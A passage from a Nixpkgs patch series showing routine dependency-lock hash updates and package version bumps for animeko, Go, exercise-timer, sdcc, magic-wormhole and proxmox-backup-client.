   "org/jetbrains/kotlinx#kotlinx-serialization-json-io/1.8.0": {
    "module": "sha256-+3LQaky980DBOnBPywfUsWJ66NnDCtZnEwb6x1UnB7Q=",
    "pom": "sha256-xgC76woBPRA7cbGCa+t0Sbnv/5x4Knl0JKoOdV+Cw0Q="
   },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-io/1.8.1": {
+   "module": "sha256-WTtZ8otvvbjsNRD4+ZQksTTlv8Qe2GS82LAiDv4APnM=",
+   "pom": "sha256-2e2KSEKd687/Z05u1OdgPR1K5Ao3lWT9BlPQ3V9gJb8="
+  },
   "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.6.3": {
    "jar": "sha256-0yNBebz/GIbVPWfBHspH9/PPe2PDSdFpZfbbUbfz3Zo=",
    "module": "sha256-InoqmtOMAQsQe8gFjNYVF32lqqhts399WNSdnJt/l9A=",
    "pom": "sha256-eN9n0GTTuq8a9Ohi6YFGl3YpfGyHi7e/G0Ljky9vr48="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.8.0": {
-   "jar": "sha256-e3xEWIDO+U3EZPRzPaGzO5S+54gFBB6giuBuhQfkYg4=",
-   "module": "sha256-l+NZl/6prZY63lv0wDko/lOXS4JlIdSwP7+zyrAgiqo=",
-   "pom": "sha256-4CSBj4YiByqIM8DTmVd3Uet3ZJymO9DA/AYATWaRd6Q="
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-jvm/1.8.1": {
+   "jar": "sha256-h2nlZHVX43AJGcMtUI9cXa1TxdgjTNEIRjVPvP8UqiQ=",
+   "module": "sha256-uZHLSTQAwdlgut+oYhcVjGN+XsqIgbIM0BJbtOz8+DE=",
+   "pom": "sha256-1mXWtB/gWPZmpvOGrS5JzBAe+P0u7+/vy8ER6R7oJDY="
   },
   "org/jetbrains/kotlinx#kotlinx-serialization-json/1.6.3": {
    "module": "sha256-gNHYf6CmO/+Dleo5EL2oDQnw9YNQTd6o7QB7x6hrTNQ=",
@@ -3262,31 +3470,40 @@
    "module": "sha256-lK/eU8GRw+Hge5+AiqF3f4YryKlbxQtGYozQkhnVaFg=",
    "pom": "sha256-WAgq+Zc0Ah1bjbKcQ1sR1FyhGxwP14bHhFIsnSxxeVg="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-protobuf-jvm/1.8.0": {
-   "jar": "sha256-hWHBft8F4n6AKDDzuOnQrEoBhIxcM6eQMpMjgttxzjQ=",
-   "module": "sha256-wfxTEVd7TXf5mSZWiG2ZqcI6JfmoL8Ka1GkTai1e4fg=",
-   "pom": "sha256-c5L1fbU2xPK4BkfZQD9mho6mdHuoBFa9+0S/UNTdMY0="
+  "org/jetbrains/kotlinx#kotlinx-serialization-json/1.8.1": {
+   "module": "sha256-f33wBUM932BPUqq9avsh65YJMZfLS90Hk8SEydPEtnU=",
+   "pom": "sha256-x3AMmcg94CtGVBo9fktps4h0m3wPV9zrRU0UPyzYens="
   },
-  "org/jetbrains/kotlinx#kotlinx-serialization-protobuf/1.8.0": {
-   "module": "sha256-C2UuSc1eykX730eSf6dH4dgsU8l8IcBSaozSeSAvyLY=",
-   "pom": "sha256-FGqb0rgoDpxfshb2oI9pSq4OYaroqFVB9leDfqf7QcA="
+  "org/jetbrains/kotlinx#kotlinx-serialization-protobuf-jvm/1.8.1": {
+   "jar": "sha256-+9F09y6oI2S6oRIGny17NhdY9raL2B0qxRsCxmpI6SQ=",
+   "module": "sha256-klXX5uXZzp3bV2f6KNPGmShYhGZ+kaph4bE12YjuCJM=",
+   "pom": "sha256-pYV9XmD4gWHKeEQUai/jfyiV+B5SMJCbFRtKPY7AMpw="
   },
-  "org/jetbrains/skiko#skiko-awt-runtime-linux-x64/0.9.2": {
-   "jar": "sha256-1bqEsjiWPQTCXG6mfgbqhfjxIPY38iI7Jx/xmyCHago=",
-   "pom": "sha256-dgQjvLzTxvtYTM38ZmbILq0cjCePzc0hBw3drAh0WMg="
+  "org/jetbrains/kotlinx#kotlinx-serialization-protobuf/1.8.1": {
+   "module": "sha256-LZ+TjZbK4twphqfvbyy9Fnan+HVLLVH8vk04Y92rfD0=",
+   "pom": "sha256-YTuFlIYGTe0T+YpQCtBJ284ZpY/DO/d3ajgSx9Cg/RA="
   },
-  "org/jetbrains/skiko#skiko-awt-runtime-macos-x64/0.8.18": {
-   "jar": "sha256-czu+FuSlNbp4+zYYaaM20jfZXipSidJWnSlZudWeeGE=",
-   "pom": "sha256-yyEZbtoYT2eJZvn/23cBJe0POPoqYIBS7ObM+fLDjtw="
+  "org/jetbrains/skiko#skiko-awt-runtime-linux-x64/0.9.4": {
+   "jar": "sha256-K/JrgqV/rbUG6YHu97n9OESGzce5P8hBo+cvTD//q48=",
+   "pom": "sha256-x87oAckGYo48fc3MdHyDBENGgG4SkFuK3U0vwkIXpec="
   },
-  "org/jetbrains/skiko#skiko-awt/0.9.2": {
-   "jar": "sha256-4fgV9E9dr88S9nPNozVa5Zw5dUv5nzsR9tAP1wAVYUg=",
-   "module": "sha256-cRS/M68lkIkGDdO3c/8ew/0ZhGFmN1AXDR+ArDc7/D0=",
-   "pom": "sha256-u/8yFQDlUOusYZRHz8OFwTW3aYV6Jy+Wh8rdXnyBuXk="
+  "org/jetbrains/skiko#skiko-awt/0.8.18": {
+   "jar": "sha256-Y39d4aII8TaKxRtaKGpIJ87IKM1i3aMy3DQAuFQ+JD0=",
+   "module": "sha256-x9JON+j/js4Y7OdEg0Fxcnor1L7z6/hZBlN1in0Bbmo=",
+   "pom": "sha256-yrIp0lDLlzYK12MgQfCHFksKR+d75huz9VRaLWtAlJ8="
   },
-  "org/jetbrains/skiko#skiko/0.9.2": {
-   "module": "sha256-9bO/I9+wmkJel8IVGQUAdw5PvNU3BMSVHJQzhkibmYc=",
-   "pom": "sha256-gDnIMi9XqGWuacIkOKLhw8qTahFfCuPbLJYYoK79bxs="
+  "org/jetbrains/skiko#skiko-awt/0.9.4": {
+   "jar": "sha256-jiarGudfZXhva5c6ZuiaKDbRmaVWHEwu28Hz9nrSGX8=",
+   "module": "sha256-6WvCmRgCYinm3hVXvLdC77ge6ocR/8thzINEmp6h/FY=",
+   "pom": "sha256-lQozgiK9sdX7ttlxbC2l9UtB05NgMwp3eJcaukCK/CE="
+  },
+  "org/jetbrains/skiko#skiko/0.8.18": {
+   "module": "sha256-qbGDSU+EVPtX7B//+UyyqL7u3aG3PSjbbrS4+NwKU8s=",
+   "pom": "sha256-ac1xXT+/dr0QV571/D69q1RfiwxFm6iWzcbeoMETzAw="
+  },
+  "org/jetbrains/skiko#skiko/0.9.4": {
+   "module": "sha256-XHG00ajc2rFNpgCC5BSxKvXw+y40aDkBn3+kG+eGW0c=",
+   "pom": "sha256-jGpkAr2GskEIWA/3Ho3wKSmhzCad6arvccqVNxfQC68="
   },
   "org/json#json/20231013": {
    "jar": "sha256-DxgZLfKJEU4XqhoNCn+DcsyfXH5Pfjmtz4kG/nFPp9M=",
@@ -3301,6 +3518,10 @@
    "module": "sha256-0wfKd6VOGKwe8artTlu+AUvS9J8p4dL4E+R8J4KDGVs=",
    "pom": "sha256-zauSmjuVIR9D0gkMXi0N/oRllg43i8MrNYQdqzJEM6Y="
   },
+  "org/junit#junit-bom/5.10.2": {
+   "module": "sha256-3iOxFLPkEZqP5usXvtWjhSgWaYus5nBxV51tkn67CAo=",
+   "pom": "sha256-Fp3ZBKSw9lIM/+ZYzGIpK/6fPBSpifqSEgckzeQ6mWg="
+  },
   "org/junit#junit-bom/5.10.3": {
    "module": "sha256-qnlAydaDEuOdiaZShaqa9F8U2PQ02FDujZPbalbRZ7s=",
    "pom": "sha256-EJN9RMQlmEy4c5Il00cS4aMUVkHKk6w/fvGG+iX2urw="
@@ -3313,10 +3534,6 @@
    "module": "sha256-qxN7pajjLJsGa/kSahx23VYUtyS6XAsCVJdyten0zx8=",
    "pom": "sha256-LtB9ZYRRMfUzaoZHbJpAVrWdC1i5gVqzZ5uw82819wU="
   },
-  "org/junit#junit-bom/5.9.3": {
-   "module": "sha256-tAH9JZAeWCpSSqU0PEs54ovFbiSWHBBpvytLv87ka5M=",
-   "pom": "sha256-TQMpzZ5y8kIOXKFXJMv+b/puX9KIg2FRYnEZD9w0Ltc="
-  },
   "org/jvnet/staxex#stax-ex/1.8.1": {
    "jar": "sha256-IFIlSQVunlCqNe8LRFouR6U9Br4LCpRn1wTiSD/7BJo=",
    "pom": "sha256-j8hPNs5tps6MiTtlOBmaf2mmmgcG2bF6PuajoJRS7tY="
@@ -3357,85 +3574,55 @@
    "module": "sha256-tNPURyLcLU+zp0XR3bPrI2KkCTxbwyQFXPR2947iSbs=",
    "pom": "sha256-A9Q+KKmVsrk+45mKFLodgLiJsyAbdvV5ZlKhNzhDIBk="
   },
-  "org/openani/mediamp#catalog/0.0.26": {
-   "module": "sha256-I16xb6VSWCPEXR00K6Pqe+1Ord4hoVegIdFJCjiw70I=",
-   "pom": "sha256-itzCsDj32fyeFUTVTKskJnG7J9I1ketiWnzmCOCjNfc="
+  "org/openani/mediamp#catalog/0.0.29": {
+   "module": "sha256-s6r4l6CUxAxXNrk0x4papHn7CT9Agn+VGhA5gde45/8=",
+   "pom": "sha256-E5GiqnTrK4imwFM7QBmAAhhxDKijBAIi/mwyH3FUuk4="
   },
-  "org/openani/mediamp#mediamp-api-desktop/0.0.26": {
-   "jar": "sha256-wq88zxU6os+DET2GQqnWf7IFQisk8nQfuOMm7yaRhxg=",
-   "module": "sha256-Robr2Hjhc9Mucq0MlPX9uDbPTGU37OM+EQMyCuyGCFM=",
-   "pom": "sha256-rYSUUSwrno45hElP5s65pi+HpfySFdniNZAgLsxFs5Y="
+  "org/openani/mediamp#mediamp-api-desktop/0.0.29": {
+   "jar": "sha256-k4Qsb20oECKLw2ZQ+QH7rCuKl9W3kM9nfJRWF0cTAlE=",
+   "module": "sha256-InxhvamLA6cAcu7JPORsd+NoK+eeTjlmg+kXHgUL8J8=",
+   "pom": "sha256-4yVSYeA9sIcF7x0W9IOSNEtURY10iC9gvsC00JZ6GmU="
   },
-  "org/openani/mediamp#mediamp-api/0.0.26": {
-   "module": "sha256-67z9qC1RG4iuQ4LkN3hZX8nU/RlqJdB5kgR4WZfdAV4=",
-   "pom": "sha256-/YHwjj6d4vOu5v9yr9ctEAV7J7aIQPtF+Nc5Zy5Z7MI="
+  "org/openani/mediamp#mediamp-api/0.0.29": {
+   "module": "sha256-5BiLU2hqMh9twBjyMkZymeltSP5Lvhqm+Ebram4FJxk=",
+   "pom": "sha256-bxPAiiGEC3XucMnl+KwnQfP1Q96RlQBpHw459rTU9os="
   },
-  "org/openani/mediamp#mediamp-compose-desktop/0.0.26": {
-   "jar": "sha256-oC7g3ItyOR0dT7B8L1ncqpQcYYmkC5CbbgKfmXBbCxQ=",
-   "module": "sha256-KUPXp03ZHWwJoFW9Yv3G7qZ6KVnzu9kXaHko0sCwa1M=",
-   "pom": "sha256-gCRVtSffFrskMft9QoPlP00xAkx5fO0RufLK6F+XDPQ="
-  },
-  "org/openani/mediamp#mediamp-compose/0.0.26": {
-   "module": "sha256-GourAD3L6fbG/2vk6sAcWFbAixi8JMT8VS4hLM5vKGg=",
-   "pom": "sha256-kDFj3l1wpEcOGnBM5+auo4ir1muIHfb9NW9PaZ8exG8="
-  },
-  "org/openani/mediamp#mediamp-source-ktxio-desktop/0.0.26": {
+  "org/openani/mediamp#mediamp-source-ktxio-desktop/0.0.29": {
    "jar": "sha256-CmvsMdXJcrr1UcbNQVI8OyPqwxo9pLKYoa1ye5k0764=",
-   "module": "sha256-5IKmn1mlfajGIvv66eSr8SBOU+V5dcndh+FlU8gf5nw=",
-   "pom": "sha256-rWfE+eWilDOkDWU2xLzA+qv2x8/dF+Qwhet7lGVTnd0="
+   "module": "sha256-3ZMls4s+OGQgPoXLFBqB7WbyE1Qn2f84XoXw0pOdtUQ=",
+   "pom": "sha256-nN9HUn/RfKtPCOSNiD2URA+IBpkSwWWt0HZO8CZjtEE="
   },
-  "org/openani/mediamp#mediamp-source-ktxio/0.0.26": {
-   "module": "sha256-YT7EHwxB69StjLsu3EmPYhb4MWHJLxLfJ7CSy+X7INk=",
-   "pom": "sha256-Fd7cpjCUJnGnofv2uq3DqePrH00ahYT+f96hVi3Grlc="
+  "org/openani/mediamp#mediamp-source-ktxio/0.0.29": {
+   "module": "sha256-As/GVZGSN4hAfby3KRxBzyMMUpuNmy24wVPlSQ4ABww=",
+   "pom": "sha256-Zd+xibJweb9/tUsvBKtkQm8REPIRs9JI/q6D4uGBDag="
   },
-  "org/openani/mediamp#mediamp-vlc-compose/0.0.26": {
-   "jar": "sha256-FpRyBToA2qz5SNOQPmTDKr+RO/AZuco60pGvUHueTLQ=",
-   "module": "sha256-0RYTOM3zHsvu9VY9GIaIUYXyZhIWJGh+qVbt/QuSoLY=",
-   "pom": "sha256-i1WxsUV+u/uKjTURro7eR08gU55kI2G+v31g48BCTpc="
+  "org/openani/mediamp#mediamp-vlc/0.0.29": {
+   "jar": "sha256-IipT5VaRSsRsF0+DOLb4ZEAVSVIVuSVMbydWzTgjN6I=",
+   "module": "sha256-3iXzV+GUgG26i6JGs+KuifxMAqw6n91hvFBnY4PhGH0=",
+   "pom": "sha256-hyzw9+4O0IBKsOBpmMYXFbYOFfhxlAXtvx5Zb2I2bU4="
   },
-  "org/openani/mediamp#mediamp-vlc/0.0.26": {
-   "jar": "sha256-6kpP5IZcVMPP+YlO5zSgYaMhi0LpbLGSarofI17Qviw=",
-   "module": "sha256-19aWYPuBD+jGAxH+vYjlUUmqGnl+XGs+jguNlO3724M=",
-   "pom": "sha256-gO7O6O/LGGPEvgOCoQzgcrqAdSWesJqc223ZVlC2yXg="
-  },
-  "org/openani/mediamp/catalog/0.0.26/catalog-0.0.26": {
-   "toml": "sha256-OuAXWWvPwKdSS1Xx4zrv4tcOkzYl5BpsbwQb5+gX88g="
+  "org/openani/mediamp/catalog/0.0.29/catalog-0.0.29": {
+   "toml": "sha256-wNPEmb14ugDo4NPEcf8lY0hRcCOGDFmsDGcHJqUSq5E="
   },
   "org/ow2#ow2/1.5.1": {
    "pom": "sha256-Mh3bt+5v5PU96mtM1tt0FU1r+kI5HB92OzYbn0hazwU="
   },
-  "org/ow2/asm#asm-analysis/9.6": {
-   "pom": "sha256-+j+ZUCHP9PQTkwbmz/7uoHU5EGRA0psZzAanpjahOFA="
-  },
   "org/ow2/asm#asm-analysis/9.7": {
    "jar": "sha256-e8a8vCE3mUigyMRn+w+GQgbluBj2vAtUaHL1yflBVW8=",
    "pom": "sha256-nDMIDry2Ma5Pd+ti7We/xAy4cujP0Fishj5EXB3Zc98="
   },
-  "org/ow2/asm#asm-commons/9.6": {
-   "pom": "sha256-qYrkiVM0uvj/hr1mUWIQ29mgPxpuFeR92oKvz2tT13w="
-  },
   "org/ow2/asm#asm-commons/9.7": {
    "jar": "sha256-OJvCR5WOBJ/JoECNOYySxtNwwYA1EgOV1Muh2dkwS3o=",
    "pom": "sha256-Ws7j7nJS7ZC4B0x1XQInh0malfr/+YrEpoUQfE2kCbQ="
   },
-  "org/ow2/asm#asm-tree/9.6": {
-   "pom": "sha256-G8tIHX/Ba5VbtgygfIz6JCS87ni9xAW7oxx9b13C0RM="
-  },
   "org/ow2/asm#asm-tree/9.7": {
    "jar": "sha256-YvSzvENgRcGstcO6LY7FVuwzaQk9f10Gx0frBLVtUrE=",
    "pom": "sha256-o06h4+QSjAEDjbQ8aXbojHec9a+EsFBdombf5pZWaOw="
   },
-  "org/ow2/asm#asm-util/9.6": {
-   "pom": "sha256-UsXB01dAR3nRqZtJqFv506CFAluFFstz2+93yK40AF4="
-  },
   "org/ow2/asm#asm-util/9.7": {
    "jar": "sha256-N6ZBTTZkGXPxrxBJN8ldbZIbLdtNYSxmxanysT/BQhE=",
    "pom": "sha256-XQFNjIcNSHGCW9LdtVZ7Ie9trI7Ei7uNu0ZbCzor9FI="
   },
-  "org/ow2/asm#asm/9.6": {
-   "jar": "sha256-PG+sJCTbPUqFO2afTj0dnDxVIjXhmjGWc/iHCDwjA6E=",
-   "pom": "sha256-ku7iS8PIQ+SIHUbB3WUFRx7jFC+s+0ZrQoz+paVsa2A="
-  },
   "org/ow2/asm#asm/9.7": {
    "jar": "sha256-rfRtXjSUC98Ujs3Sap7o7qlElqcgNP9xQQZrPupcTp0=",
    "pom": "sha256-3gARXx2E86Cy7jpLb2GS0Gb4bRhdZ7nRUi8sgP6sXwA="
@@ -3480,9 +3667,9 @@
    "module": "sha256-+ItA4qUDM7QLQvGB7uJyt17HXdhmbLFFvZCxW5fhg+M=",
    "pom": "sha256-9tSBCT51dny6Gsfh2zj49pLL4+OHRGkzcada6yHGFIs="
   },
-  "org/tensorflow#tensorflow-lite-metadata/0.1.0-rc2": {
-   "jar": "sha256-LComT4QkmMNtNNKnuRNCSQ2alihiyFuqwazVTsL8ptk=",
-   "pom": "sha256-mk9eVnQ2bBVskDkWYvA+18WXHWqmODLfdKJx2m/4LpY="
+  "org/tensorflow#tensorflow-lite-metadata/0.2.0": {
+   "jar": "sha256-6fGLikHwF+kDPLDthciiuiMHKSzf4l6uNlkj56MdKnA=",
+   "pom": "sha256-D+MTJug7diLLzZx11GeykfAf/jzG4+dmUawFocHHo2A="
   },
   "org/xerial#sqlite-jdbc/3.41.2.2": {
    "jar": "sha256-DNq0EJR+BLZ0Pfmc8VQyZ93RBzV9b3aUjRRb5ZD9SX0=",
diff --git a/pkgs/by-name/an/animeko/package.nix b/pkgs/by-name/an/animeko/package.nix
index 51b328cd4f5e..6e82bdb631b8 100644
--- a/pkgs/by-name/an/animeko/package.nix
+++ b/pkgs/by-name/an/animeko/package.nix
@@ -79,13 +79,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "animeko";
-  version = "4.10.1";
+  version = "4.11.1";
 
   src = fetchFromGitHub {
     owner = "open-ani";
     repo = "animeko";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-sFEq6tJfADH5x8+wdQ9T89awT7/Qx2RV5r+cND3J0iw=";
+    hash = "sha256-JLOwWJvBfwqvAfaFn5qr8lsHL7/u97qYjZsckBjAu6I=";
     fetchSubmodules = true;
   };
 

From aa96e6cd93990f8aab106e7bfd33d04a96e6f8a6 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 6 Jun 2025 08:44:24 +1000
Subject: [PATCH 0651/4511] go_1_23: 1.23.9 -> 1.23.10

Changelog: https://go.dev/doc/devel/release#go1.23.10
(cherry picked from commit a4a78c561f7dfacc7cee5815439d19ef8eb6672c)
---
 pkgs/development/compilers/go/1.23.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.23.nix b/pkgs/development/compilers/go/1.23.nix
index cf16461958e3..8921fcd0b328 100644
--- a/pkgs/development/compilers/go/1.23.nix
+++ b/pkgs/development/compilers/go/1.23.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.23.9";
+  version = "1.23.10";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-CPZBlUdWPtnnA30SuciQlnfHL3X2LvhYh+2dv0m40t0=";
+    hash = "sha256-gAp64b/xeaIntlOi9kRRfIAEQ7i0q/MnOvXhy3ET3lk=";
   };
 
   strictDeps = true;

From 57ddceca92caf377ef20a5fafc6ad1ebecf6d672 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Fri, 6 Jun 2025 08:44:50 +1000
Subject: [PATCH 0652/4511] go_1_24: 1.24.3 -> 1.24.4

Changelog: https://go.dev/doc/devel/release#go1.24
(cherry picked from commit bef47710e4d3b228c2434c3304a78e00320ff2fb)
---
 pkgs/development/compilers/go/1.24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.24.nix b/pkgs/development/compilers/go/1.24.nix
index 51cdecec738c..b6b7e1788485 100644
--- a/pkgs/development/compilers/go/1.24.nix
+++ b/pkgs/development/compilers/go/1.24.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.24.3";
+  version = "1.24.4";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-IpwItgCxRGeYEJ+uH1aSKBAshHPKuoEEtkGMtbwDKHg=";
+    hash = "sha256-WoaoOjH5+oFJC4xUIKw4T9PZWj5x+6Zlx7P5XR3+8rQ=";
   };
 
   strictDeps = true;

From 25e5f87f62fc0b673575716f5e60fa884f739f20 Mon Sep 17 00:00:00 2001
From: Dhruv Gramopadhye <dgramopadhye@gmail.com>
Date: Tue, 3 Jun 2025 02:06:25 -0700
Subject: [PATCH 0653/4511] sdcc: disable broken-on-darwin man pages output

This change is necessary to mitigate the man-page output for sdcc failing on systems with case-insensitive file systems.

This is caused by a regression in sdcc's own build scripts. Once the fix in sdcc is released, versions of sdcc with the fix can be built with man pages on darwin.

(cherry picked from commit c03708e5ffe14985c7a743b755707ba49256a05a)
---
 pkgs/by-name/sd/sdcc/package.nix | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/sd/sdcc/package.nix b/pkgs/by-name/sd/sdcc/package.nix
index d8361e04a744..78a452012c9b 100644
--- a/pkgs/by-name/sd/sdcc/package.nix
+++ b/pkgs/by-name/sd/sdcc/package.nix
@@ -39,11 +39,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-1QMEN/tDa7HZOo29v7RrqqYGEzGPT7P1hx1ygV0e7YA=";
   };
 
-  outputs = [
-    "out"
-    "doc"
-    "man"
-  ];
+  # TODO: sdcc version 4.5.0 does not currently produce a man output.
+  # Until the fix to sdcc's makefiles is released, this workaround
+  # conditionally withholds the man output on darwin.
+  #
+  # sdcc's tracking issue:
+  # <https://sourceforge.net/p/sdcc/bugs/3848/>
+  outputs =
+    [
+      "out"
+      "doc"
+    ]
+    ++ lib.optionals (!stdenv.isDarwin) [
+      "man"
+    ];
 
   enableParallelBuilding = true;
 

From 2471690107a218bb896b6dd833647a162414b89f Mon Sep 17 00:00:00 2001
From: Caleb Norton <n0603919@outlook.com>
Date: Thu, 5 Jun 2025 14:27:54 -0500
Subject: [PATCH 0654/4511] magic-wormhole: install shell completions

(cherry picked from commit 57460ca0ca1fd32ffe43cf394aad6401069c733a)
---
 .../python-modules/magic-wormhole/default.nix            | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/development/python-modules/magic-wormhole/default.nix b/pkgs/development/python-modules/magic-wormhole/default.nix
index 71be18913927..d4cc8603e4cf 100644
--- a/pkgs/development/python-modules/magic-wormhole/default.nix
+++ b/pkgs/development/python-modules/magic-wormhole/default.nix
@@ -3,6 +3,7 @@
   stdenv,
   buildPythonPackage,
   fetchFromGitHub,
+  installShellFiles,
 
   # build-system
   setuptools,
@@ -88,6 +89,10 @@ buildPythonPackage rec {
     dilation = [ noiseprotocol ];
   };
 
+  nativeBuildInputs = [
+    installShellFiles
+  ];
+
   nativeCheckInputs =
     [
       magic-wormhole-mailbox-server
@@ -101,6 +106,10 @@ buildPythonPackage rec {
 
   postInstall = ''
     install -Dm644 docs/wormhole.1 $out/share/man/man1/wormhole.1
+    installShellCompletion --cmd ${meta.mainProgram} \
+      --bash wormhole_complete.bash \
+      --fish wormhole_complete.fish \
+      --zsh wormhole_complete.zsh
   '';
 
   meta = {

From 5983812547894d85c98df16e859475fe893e987c Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Tue, 3 Jun 2025 18:41:36 +0200
Subject: [PATCH 0655/4511] exercise-timer: 1.8.1 -> 1.8.4

(cherry picked from commit 7ba5f4e34a450c8819aae1a337ce04105a7e5260)
---
 pkgs/by-name/ex/exercise-timer/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ex/exercise-timer/package.nix b/pkgs/by-name/ex/exercise-timer/package.nix
index e13af3153f58..13b3b1baf32b 100644
--- a/pkgs/by-name/ex/exercise-timer/package.nix
+++ b/pkgs/by-name/ex/exercise-timer/package.nix
@@ -20,18 +20,19 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "exercise-timer";
-  version = "1.8.1";
+  version = "1.8.4";
 
   src = fetchFromGitHub {
     owner = "mfep";
     repo = "exercise-timer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-6MBSUYFZ8nMZX7acam8T0uJWb9E2/L9vnKzJq14p4BY=";
+    hash = "sha256-KiKTZUlcgQcVJwjCZRi1spjJjAT/aH0PUOB+Qt1jKTc=";
+    fetchLFS = true;
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-fmY89VGv9tSMaILFnAVTAyp9PWGsvSCZ/9DfF5LI3xM=";
+    hash = "sha256-Z02tnOavpfv+dNk9p1h/+A0TlBtB0BVxLsEKvhFpkbc=";
   };
 
   nativeBuildInputs = [

From d2a57e0daf75725bddd43730e13f1c17ba64f934 Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Fri, 6 Jun 2025 11:41:38 +0200
Subject: [PATCH 0656/4511] proxmox-backup-client: 3.3.2 -> 3.4.2

- The one patch previously pulled from the AUR packaging is now
  vendored, due to not being updated (yet) there and needing a refresh.
- A new patch is introduced to revert a commit with very much
  upstream-specific change in the `h2` crate, which is not applicable
  here.

Also closes #412778.

Backport reason: There have been a few bug fixes and especially the
credentials-from-systemd/env feature is nice. Otherwise there haven't
been any changes to the client side.

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit 6881e4cdab8fa4a28f62b8b25b5ea230385271d5)
---
 ...ependencies-not-available-on-crates..patch |   42 +-
 ...docs-add-target-path-fixup-variable.patch} |   10 +-
 ...argo-use-local-patched-h2-dependency.patch |    8 +-
 ...4-docs-drop-all-but-client-man-pages.patch |   83 ++
 ...5-Revert-h2-switch-to-legacy-feature.patch |  198 +++
 .../pr/proxmox-backup-client/Cargo.lock       | 1255 +++++++++++------
 .../pr/proxmox-backup-client/package.nix      |   29 +-
 7 files changed, 1139 insertions(+), 486 deletions(-)
 rename pkgs/by-name/pr/proxmox-backup-client/{0002-docs-Add-target-path-fixup-variable.patch => 0002-docs-add-target-path-fixup-variable.patch} (70%)
 create mode 100644 pkgs/by-name/pr/proxmox-backup-client/0004-docs-drop-all-but-client-man-pages.patch
 create mode 100644 pkgs/by-name/pr/proxmox-backup-client/0005-Revert-h2-switch-to-legacy-feature.patch

diff --git a/pkgs/by-name/pr/proxmox-backup-client/0001-cargo-re-route-dependencies-not-available-on-crates..patch b/pkgs/by-name/pr/proxmox-backup-client/0001-cargo-re-route-dependencies-not-available-on-crates..patch
index c1ba7aa5290f..37d230f52c57 100644
--- a/pkgs/by-name/pr/proxmox-backup-client/0001-cargo-re-route-dependencies-not-available-on-crates..patch
+++ b/pkgs/by-name/pr/proxmox-backup-client/0001-cargo-re-route-dependencies-not-available-on-crates..patch
@@ -1,19 +1,19 @@
-From 15345a1ca0a52f2e977361002fe984609704ec90 Mon Sep 17 00:00:00 2001
+From fe701cc514b479ca01d18d7f1ab1da6acbc93273 Mon Sep 17 00:00:00 2001
 From: Christoph Heiss <christoph@c8h4.io>
-Date: Tue, 24 Dec 2024 17:40:48 +0100
-Subject: [PATCH 1/3] cargo: re-route dependencies not available on crates.io
+Date: Thu, 5 Jun 2025 11:26:24 +0200
+Subject: [PATCH 1/5] cargo: re-route dependencies not available on crates.io
  to git repos
 
 Signed-off-by: Christoph Heiss <christoph@c8h4.io>
 ---
- Cargo.toml | 147 ++++++++++-------------------------------------------
- 1 file changed, 26 insertions(+), 121 deletions(-)
+ Cargo.toml | 146 ++++++++++-------------------------------------------
+ 1 file changed, 27 insertions(+), 119 deletions(-)
 
 diff --git a/Cargo.toml b/Cargo.toml
-index 9354fb17..d2014429 100644
+index d38321e3..99d712da 100644
 --- a/Cargo.toml
 +++ b/Cargo.toml
-@@ -42,8 +42,6 @@ members = [
+@@ -41,8 +41,6 @@ members = [
  
      "proxmox-backup-banner",
      "proxmox-backup-client",
@@ -22,23 +22,7 @@ index 9354fb17..d2014429 100644
  
      "pxar-bin",
  ]
-@@ -112,7 +110,6 @@ pbs-tools = { path = "pbs-tools" }
- # regular crates
- anyhow = "1.0"
- async-trait = "0.1.56"
--apt-pkg-native = "0.3.2"
- base64 = "0.13"
- bitflags = "2.4"
- bytes = "1.0"
-@@ -126,7 +123,6 @@ flate2 = "1.0"
- foreign-types = "0.3"
- futures = "0.3"
- h2 = { version = "0.4", features = [ "stream" ] }
--handlebars = "3.0"
- hex = "0.4.3"
- http = "0.2"
- hyper = { version = "0.14", features = [ "full" ] }
-@@ -162,139 +158,48 @@ xdg = "2.2"
+@@ -160,138 +158,48 @@ xdg = "2.2"
  zstd = { version = "0.12", features = [ "bindgen" ] }
  zstd-safe = "6.0"
  
@@ -55,7 +39,6 @@ index 9354fb17..d2014429 100644
 -futures.workspace = true
 -h2.workspace = true
 -hex.workspace = true
--http.workspace = true
 -hyper.workspace = true
 -libc.workspace = true
 -log.workspace = true
@@ -116,13 +99,13 @@ index 9354fb17..d2014429 100644
 -proxmox-time.workspace = true
 -proxmox-uuid.workspace = true
 -proxmox-worker-task.workspace = true
+-pbs-api-types.workspace = true
 -
 -# in their respective repo
 -proxmox-acme.workspace = true
 -pxar.workspace = true
 -
 -# proxmox-backup workspace/internal crates
